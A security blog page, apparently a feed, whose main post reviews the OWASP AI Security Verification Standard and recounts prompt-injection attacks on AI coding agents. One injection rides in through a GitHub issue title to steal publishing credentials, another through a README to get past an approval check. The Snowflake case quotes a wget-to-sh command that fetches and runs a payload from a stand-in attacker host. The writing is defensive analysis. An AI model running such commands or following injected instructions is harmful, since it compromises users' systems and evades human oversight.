Appsec on Napat's Inverse Blog

The First Real Standard for AI Security: What OWASP AISVS Gets Right, What It Misses, and What You Should Actually Do

Wed, 01 Apr 2026 21:26:00 +0700

We spent twenty years getting web security to a place where it was boring. Boring was good. Boring meant it mostly worked. You’d run your OWASP Top 10 scanner, fix the SQL injection and XSS findings, check the boxes on the ASVS, and ship. Not glamorous. But it worked.

Then someone figured out you could steal a whole system’s secrets by asking it nicely.

That’s not a metaphor. In February 2026, security researcher Adnan Khan showed that you could compromise Cline’s production releases — an AI coding tool used by millions of developers — by opening a GitHub issue with a carefully crafted title. The issue title contained a prompt injection payload that tricked Claude into running npm install on a malicious package, which then poisoned the GitHub Actions cache and pivoted to steal the credentials that publish Cline’s VS Code extension. An issue title. Not a zero-day exploit, not a nation-state attack chain. Words in a text field.

This is the fundamental problem with AI security, and it’s the reason OWASP wrote the AI Security Verification Standard (AISVS). Traditional AppSec assumes deterministic programs: the code does what you wrote. Maybe what you wrote was wrong — a SQL injection, a buffer overflow — but the code executes faithfully. Fix the bug, it stays fixed. AI systems are probabilistic. The model doesn’t execute instructions; it generates plausible continuations. You can have perfect code, proper input validation, encrypted storage — and still get owned because someone hid instructions in a README file that the model decided to follow instead of yours.

Here’s the uncomfortable truth: many teams deploying AI today use API-based models they don’t control. They can’t inspect training data or run adversarial evaluations against someone else’s model. AISVS describes a comprehensive posture; most teams consuming foundation models through APIs control maybe 10% of it. I’ll come back to this.

The Three Chapters That Matter Most

AISVS spans 14 chapters covering everything from training data provenance to human oversight. Rather than walking through all of them — you can read the spec yourself — I want to focus on the three that should be on every security engineer’s radar right now.

C2: User Input Validation — The Prompt Injection Chapter

This is the chapter you implement first. Prompt injection is the SQL injection of AI systems: well-understood, frequently demonstrated, and still not consistently defended against. The Snowflake Cortex AI sandbox escape in March 2026 demonstrated this clearly. PromptArmor found that an indirect prompt injection hidden in a GitHub repository’s README could manipulate Snowflake’s Cortex Agent into executing cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) — bypassing the human-in-the-loop approval system because the command validation didn’t inspect code inside process substitution expressions. The agent then set a flag to execute outside the sandbox, downloaded malware, and used cached Snowflake tokens to exfiltrate data and drop tables. Two days after release. Fixed, but instructive.

AISVS C2 decomposes prompt injection defense into specific, testable controls. Requirement 2.1.1 mandates that all external inputs be treated as untrusted and screened by a prompt injection detection ruleset or classifier. Requirement 2.1.2 requires instruction hierarchy enforcement — system and developer messages must override user instructions across multi-step interactions. This is directly relevant to attacks like Clinejection, where the injected payload rode in through an issue title that was interpolated into the prompt without sanitization.

The chapter also addresses subtler vectors. Requirement 2.2.1 mandates Unicode normalization before tokenization — homoglyph swaps and invisible control characters are a real bypass technique against naive input filters. Section 2.7 covers multi-modal validation: text extracted from images and audio must be treated as untrusted per 2.1.1, and files must be scanned for steganographic payloads before ingestion.

For practitioners: start with 2.1.1 (prompt injection screening), 2.1.2 (instruction hierarchy), 2.4.1 (explicit input schemas), and 2.7.2 (treat extracted text as untrusted). That’s your Level 1 baseline.

C9: Autonomous Orchestration — The Agentic Risk Chapter

Inside the Machine: What a Leaked Agentic Code Tool Reveals About AI Security

Tue, 31 Mar 2026 20:30:00 +0700

In March 2026, someone extracted the complete source code of Claude Code from an npm package and published it to GitHub. No modifications. No commentary. Excluding generated code, lock files, and test fixtures — roughly 512,000 lines of TypeScript, dumped into a repository with a single commit.

How this happened is itself a security lesson. Anthropic published version 2.1.88 of their npm package with a production source map file — cli.js.map, weighing in at 59.8 MB — that contained the original TypeScript source, comments and all. A misconfigured .npmignore or a build pipeline that skipped artifact scanning, depending on who you ask. The file was there for anyone to extract. Security researcher Chaofan Shou was the first to notice.

The Agent Security Gap

Mon, 30 Mar 2026 10:05:00 +0700

Why adversarial prompt engineering is not the problem — and what actually is

In early 2023, a group of researchers demonstrated something that made security people uncomfortable and product people dismissive.

They showed that a language model could be instructed to do things its creators never intended, not by the person using it, but by content it was asked to process.

The paper was called “Not what you’ve signed up for.” The attack was called indirect prompt injection.

Three years later, the industry still has not fully absorbed the lesson.

The fixation on prompt injection

If you follow AI security discourse, you would think prompt injection is the central problem. It dominates conference talks. It tops the OWASP list. It generates endless proof-of-concept videos.

And it should get attention. It is a real vulnerability.

But the fixation on prompt injection obscures a more important truth: prompt injection is a symptom, not the disease.

Two-Factor Authentication Is Not What You Think

Fri, 27 Mar 2026 13:15:22 +0700

Most people believe they understand 2FA. You have a password. You have an app that generates a six-digit code. Two things. Two factors. You are protected.

They are not entirely wrong. But they are right about the mechanics and wrong about what those mechanics actually guarantee.

The original idea behind multi-factor authentication was elegant. Security researchers observed that any single secret can leak. Passwords get stolen. Databases get breached. So they proposed combining secrets from fundamentally different categories: something you know, something you have, something you are. The key insight was not the number of steps — it was orthogonality. A thief who steals your password from a server breach still cannot log in because they do not physically possess your phone. The factors are independent. Compromise one, and the other remains intact.

The USB-C Metaphor Hides the Hard Part

Sun, 22 Mar 2026 15:59:00 +0700

Threat Modeling MCP in the Real World

People like to describe MCP as “USB-C for AI.”

It’s a good line. It explains why people care.

USB-C made hardware interoperability easier. MCP makes tool interoperability easier. Build once, connect everywhere, move faster.

The problem with good metaphors is that they are usually true in one way and dangerously false in another.

USB-C looks like a cable problem. MCP looks like a protocol problem.

But the hard part isn’t the connector. The hard part is delegation.

When an AI client connects to tools through MCP, it is not just moving data. It is moving authority: who can read what, who can trigger what, and under which identity.

That shift is what many threat models miss.

They evaluate MCP like an integration layer, when they should evaluate it like an authorization fabric.

Why this matters now

Standards compress engineering cost. They also compress attacker learning curves.

Before MCP, every integration had custom quirks. That was messy for developers and inconvenient for attackers. With standardization, we gain velocity and lose diversity. A weakness in common implementation patterns becomes reusable across many environments.

This doesn’t mean MCP is unsafe. It means MCP is now important enough to threat model as first-class infrastructure.

The teams that do this early will avoid the coming cycle: rapid adoption, soft defaults, then expensive retrofitting under incident pressure.

Frameworks Don’t Ship

Sun, 22 Mar 2026 08:01:00 +0700

Turning NIST AI RMF + the GenAI Profile into an AppSec Backlog That Actually Changes Risk

There is a recurring mistake in security.

We mistake agreement for execution.

A team says they are “aligned to a framework,” and everyone relaxes. The slide looks good. The architecture review sounds mature. The policy document has all the right words.

Then an incident happens, and we discover the ugly truth: nouns don’t defend systems. Verbs do.

A framework is mostly nouns. Engineering is mostly verbs.